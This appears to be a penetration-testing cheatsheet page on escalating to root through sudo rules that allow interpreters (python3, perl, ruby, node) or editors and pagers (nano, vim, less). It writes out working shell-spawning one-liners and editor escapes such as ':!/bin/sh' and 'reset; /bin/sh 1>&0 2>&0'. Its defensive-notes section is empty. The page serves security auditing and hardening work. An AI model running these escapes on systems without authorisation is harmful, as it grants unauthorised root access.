repositories

daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR

clonegit clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
sudo-command-abuse.mdMarkdown116 lines5.8 KiBsource raw download

title: "Sudo Command Abuse" section: "Linux" sectionSlug: "linux-hardening" sourcePath: "src/linux-hardening/main-system-information/sudo-command-abuse.md" sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/linux-hardening/main-system-information/sudo-command-abuse.md" sha: "188de82beb54e70956b2952367a0af91d26758b8" isIndex: false modified: true license: "CC-BY-NC-4.0"#

Sudo Command Abuse#

Sudo-allowed interpreters#

If sudo -l allows a user to run an interpreter as root, treat it as direct code execution. Interpreters are designed to execute arbitrary code, so a rule that allows python3, perl, ruby, lua, node, or similar binaries is usually equivalent to root command execution unless the arguments are tightly constrained and validated.[1][2][3][4][5][7][9][11]

Common review flow: first list the user's privileges, then execute a Python statement with the interpreter's -c option.[1][3][4]

sudo -l
sudo /usr/bin/python3 -c 'import os; os.system("id")'
sudo /usr/bin/python3 -c 'import os; os.system("/bin/sh")'

Other interpreter examples are shown below; the listed interpreters document inline-code execution or child-process APIs.[5][6][7][8][9][10][11]

sudo /usr/bin/perl -e 'exec "/bin/sh";'
sudo /usr/bin/ruby -e 'exec "/bin/sh"'
sudo /usr/bin/node -e 'require("child_process").spawn("/bin/sh", {stdio: [0,1,2]})'

The exact path matters. If the sudo rule allows /usr/bin/python3, use that exact path during validation.[2]

sudo /usr/bin/python3 -c 'import os; os.setuid(0); os.setgid(0); os.system("/bin/sh")'

Sudo-allowed editors#

If sudo -l allows a user to run an interactive editor as root, treat it as a command-execution surface, not as a harmless file-editing permission. Editors can often execute shell commands, read arbitrary files, write arbitrary files, or invoke external helpers from inside the editor.[1][12][13][14]

Common review flow: list the user's privileges, then invoke each allowed editor or pager under sudo.[1][12][13][14]

sudo -l
sudo /usr/bin/nano /etc/hosts
sudo /usr/bin/vim /etc/hosts
sudo /usr/bin/less /etc/hosts

Nano command execution#

When nano is allowed through sudo, command execution may be reachable from the editor interface.[12]

Ctrl+R
Ctrl+X

Then provide a command such as id or /bin/sh to the nano command prompt.[12]

id
/bin/sh

If an interactive shell does not have usable terminal streams, this redirection form maps its standard output and error to descriptor 0.[15]

reset; /bin/sh 1>&0 2>&0

The exact key sequence can vary with nano version and build options, but the security issue is the same: the editor is running as root and can invoke external commands.[1][12]

Other common editor escapes#

Vim-style editors commonly expose command execution through :!.[13]

:!/bin/sh

Pagers such as less can also expose shell execution.[14]

!/bin/sh

Defensive notes#

References#